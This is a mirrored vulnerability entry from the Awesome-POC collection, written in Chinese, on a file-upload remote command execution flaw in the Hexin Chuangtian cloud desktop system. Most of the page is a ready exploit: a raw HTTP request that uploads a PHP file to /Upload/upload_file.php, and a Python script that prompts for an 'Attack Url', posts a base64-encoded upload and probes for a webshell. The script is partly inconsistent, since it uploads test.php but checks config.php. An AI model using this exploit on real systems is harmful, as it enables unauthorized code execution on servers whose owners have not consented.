mirror of
https://github.com/Threekiii/Awesome-POC.git
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114 lines
3.6 KiB
Markdown
114 lines
3.6 KiB
Markdown
# 和信创天云桌面系统 远程命令执行 RCE漏洞
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# 漏洞描述
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和信创天云桌面系统存在默认配置导致文件上传并可以远程命令执行
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## 漏洞影响
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```
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和信创天云桌面系统
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```
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## 漏洞复现
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登录页面如下
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发送请求包如下
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```plain
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POST /Upload/upload_file.php?l=1 HTTP/1.1
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Host: xxx.xxx.xx.xxx
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
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Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8
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Accept-Encoding: gzip, deflate
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Accept-Language: zh-CN,zh;q=0.9,fil;q=0.8
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Cookie: think_language=zh-cn; PHPSESSID_NAMED=h9j8utbmv82cb1dcdlav1cgdf6
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Connection: close
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfcKRltGv
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Content-Length: 182
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------WebKitFormBoundaryfcKRltGv
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Content-Disposition: form-data; name="file"; filename="test.php"
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Content-Type: image/avif
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<?php phpinfo(); ?>
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------WebKitFormBoundaryfcKRltGv--
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```
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访问
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```plain
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http://xxx.xx.xxx.xxx/Upload/1/test.php
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```
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## 漏洞POC
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```python
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import requests
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import sys
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import random
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import base64
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import re
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from requests.packages.urllib3.exceptions import InsecureRequestWarning
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def title():
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print('+------------------------------------------')
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print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
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print('+ \033[34mVersion: 和信云桌面任意文件上传漏洞 \033[0m')
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print('+ \033[36m使用格式: python3 poc.py \033[0m')
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print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
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print('+ \033[36mCmd >>> whoami \033[0m')
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print('+------------------------------------------')
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def POC_1(target_url):
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vuln_url = target_url + "/Upload/upload_file.php?l=test"
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headers = {
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"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)",
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"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryfcKRltGv"
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}
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data = base64.b64decode("Q29udGVudC1UeXBlOiBtdWx0aXBhcnQvZm9ybS1kYXRhOyBib3VuZGFyeT0tLS0tV2ViS2l0Rm9ybUJvdW5kYXJ5ZmNLUmx0R3YKCi0tLS0tLVdlYktpdEZvcm1Cb3VuZGFyeWZjS1JsdEd2CkNvbnRlbnQtRGlzcG9zaXRpb246IGZvcm0tZGF0YTsgbmFtZT0iZmlsZSI7IGZpbGVuYW1lPSJ0ZXN0LnBocCIKQ29udGVudC1UeXBlOiBpbWFnZS9hdmlmCgo8P3BocCBwaHBpbmZvKCk7Pz4KLS0tLS0tV2ViS2l0Rm9ybUJvdW5kYXJ5ZmNLUmx0R3YtLQ==")
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try:
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requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
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response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=5)
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if "Requst" in response.text and response.status_code == 200:
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webshell_url = target_url + "/Upload/test/config.php"
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response = requests.get(url=webshell_url, headers=headers,verify=False, timeout=5)
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if "shell" in response.text and response.status_code == 200:
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print("\033[32m[o] 目标 {}存在漏洞 config.php\n[o] 路径为 {}/Upload/test/config.php\033[0m".format(target_url, target_url))
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else:
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print("\033[31m[x] 请求失败 \033[0m")
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sys.exit(0)
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else:
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print("\033[31m[x] 上传失败 \033[0m")
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except Exception as e:
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print("\033[31m[x] 请求失败 \033[0m", e)
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if __name__ == '__main__':
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title()
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target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
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POC_1(target_url)
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```
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